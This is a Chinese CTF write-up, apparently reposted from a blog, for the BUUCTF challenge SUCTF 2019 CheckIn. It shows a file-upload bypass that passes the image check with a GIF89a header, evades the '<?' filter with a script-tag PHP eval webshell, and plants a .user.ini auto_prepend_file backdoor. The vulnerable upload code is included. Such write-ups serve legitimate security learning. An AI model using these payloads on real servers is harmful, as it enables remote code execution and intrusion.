微信公众号搜"智元新知"关注
微信扫一扫可直接关注哦!

buuctf-web-[SUCTF 2019] CheckIn

时间:August 9 2022

测试发现不可以上传.ph开头的后缀名文件。于是想到上传.htaccess文件+上传图片的方式执行webshell,结果并没有成功。
为啥失败了呢?原来题目环境用的是Nginx服务器而不是Apache。而.htaccess是Apache的配置文件
查资料发现.user.ini文件也可以构成PHP后门。这也是本题的考点之一。

一些技巧

绕过exif_imagetype()

exif_imagetype() 读取一个图像的第一个字节并检查其签名。

具体可以参考:https://www.php.net/manual/zh/function.exif-imagetype.php

下表给出了常见的图片文件及其文件头部(header),文件头部中包含了签名部分。

image type signature description
.gif GIF 16进制(47 49 46) 签名字段为header的前三个字节:GIF,后三个字节89a为版本字段
.jpg 十六进制 FF D8 FF E0 FF D8 是一种marker type,表示jpg图片的开始
.png 十六进制 89 50 4E 47 0D 0A 1A 0A A PNG file is composed of an 8-byte signature header, followed by any number of chunks that contain control data / Metadata / image data.

提示: 十六进制值可以通过burpsuite的hex模式编辑
gif 文件结构1:http://giflib.sourceforge.net/whatsinagif/bits_and_bytes.html
权威gif文档:http://giflib.sourceforge.net/gif89.txt
维基百科png:https://en.wikipedia.org/wiki/Portable_Network_Graphics#File_format

只需要将表中signature部分添加文件内容开头,就可以绕过exif_imagetype()

绕过<?

通过以下PHP一句话来绕过

<script language='PHP'>eval($_POST['pass']);</script>

利用.user.ini构造PHP后门

.user.ini一个PHP配置文件,此类文件仅被 CGI/FastCGI SAPI 处理。如果 PHP 以模块化运行在 Apache 里,则用 .htaccess 文件有同样效果

除了主 PHP.ini 之外,PHP 还会在每个目录下扫描INI文件,从被执行的PHP 文件所在目录开始一直上升到web 根目录( $_SERVER['DOCUMENT_ROOT'] 所指定的)。如果被执行的PHP文件在web更目录外面,则只扫描被执行的PHP文件所在目录。

那么.user.ini如何使用呢?
.user.ini 风格的 INI 文件中只有具有PHP_INI_PERDIR PHP_INI_USER 模式的 INI 设置可被识别,

简单来说,不同的模式可用的指令不太一样。
可以参考下面两个链接来进一步了解 模式(modes) 和指令(directives)
DeFinition of PHP_INI_* modes:https://www.php.net/manual/en/configuration.changes.modes.php
List of PHP.ini directives ¶:https://www.php.net/manual/en/ini.list.php

.user.ini中可用的指令有很多,下面列出两个可以帮我们构造PHP后门的指令:
PHP_INI_PERDIR模式下可以使用下图所标记的指令:auto_append_fileauto_prepend_file

image

下图是关于这两个指令的简短介绍,他们都属于"数据处理类"配置命令/选项

image

用法如下

auto_append_file=文件名
auto_prepend_file=文件

因此,我们可以先上传.user.ini文件,使用auto_prepend_file指令指定一个我们上传图片马,当访问该图片马所在目录的PHP文件时,这个图片马的内容自动被包含(require)进我们访问的PHP文件的开头。这样就使得PHP木马被包含进我们访问的PHP文件中了。

提示:在上传.user.ini的时候,需要绕过exit_imagetyep()函数

上传.user.ini文件后,再上传图片马,访问上传的目标目录中的index.PHP即可利用图片马。

提示图片马的内容需要绕过<?exit_imagetyep()函数

解题过程

上传.user.ini

GIF89a
auto_prepend_file=1.jpg

image

上传1.jpg

GIF89a
<script language='PHP'>eval($_POST['pass']);</script>

image

连接webshell

image


注意:shell地址为图片马所在目录的index.PHP,不是首页的index.PHP

http://d05ddf82-8e0f-408d-80bf-1bc6b7e8137b.node4.buuoj.cn:81/uploads/c47b21fcf8f0bc8b3920541abd8024fd/index.PHP

flag在根目录下

image


在题目环境中,文件过一段时间就会自动删除,因此连接shell之前请重复上传一下.user.ini和图片马。

代码

<!DOCTYPE html>
<html lang="en">

<head>
    <Meta charset="UTF-8">
    <Meta name="viewport" content="width=device-width, initial-scale=1.0">
    <Meta http-equiv="X-UA-Compatible" content="ie=edge">
    <title>Upload Labs</title>
</head>

<body>
    <h2>Upload Labs</h2>
    <form action="index.PHP" method="post" enctype="multipart/form-data">
        <label for="file">文件名:</label>
        <input type="file" name="fileUpload" id="file"><br>
        <input type="submit" name="upload" value="提交">
    </form>
</body>

</html>

<?PHP
// error_reporting(0);
$userdir = "uploads/" . md5($_SERVER["REMOTE_ADDR"]);
if (!file_exists($userdir)) {
    mkdir($userdir, 0777, true);
}
file_put_contents($userdir . "/index.PHP", "");
if (isset($_POST["upload"])) {
    $tmp_name = $_FILES["fileUpload"]["tmp_name"];
    $name = $_FILES["fileUpload"]["name"];
    if (!$tmp_name) {
        die("filesize too big!");
    }
    if (!$name) {
        die("filename cannot be empty!");
    }
    $extension = substr($name, strrpos($name, ".") + 1);
    if (preg_match("/ph|htacess/i", $extension)) {
        die("illegal suffix!");
    }
    if (mb_strpos(file_get_contents($tmp_name), "<?") !== FALSE) {
        die("&lt;? in contents!");
    }
    $image_type = exif_imagetype($tmp_name);
    if (!$image_type) {
        die("exif_imagetype:not image!");
    }
    $upload_file_path = $userdir . "/" . $name;
    move_uploaded_file($tmp_name, $upload_file_path);
    echo "Your dir " . $userdir. ' <br>';
    echo 'Your files : <br>';
    var_dump(scandir($userdir));
}

1.用preg_match()正则函数来检测非法后缀名:不允许上传ph开头的文件
2.通过file_get_contents($tmp_name) 来检测图片内容,不允许出现<?

总结

通过这道题,学会了通过.user.ini来构造PHP后门。即,除了上传上传.htaccess(apache服务器),还可以上传.user.ini(apache和Nginx均可)来构造PHP后门

文件上传时不能盲目使用方法,最好先进行信息收集,之后选择合适的方法来突破。

更多信息

https://wooyun.js.org/drops/user.ini文件构成的PHP后门.html
https://xz.aliyun.com/t/6091

版权声明:本文内容由互联网用户自发贡献,该文观点与技术仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 [email protected] 举报,一经查实,本站将立刻删除。

相关推荐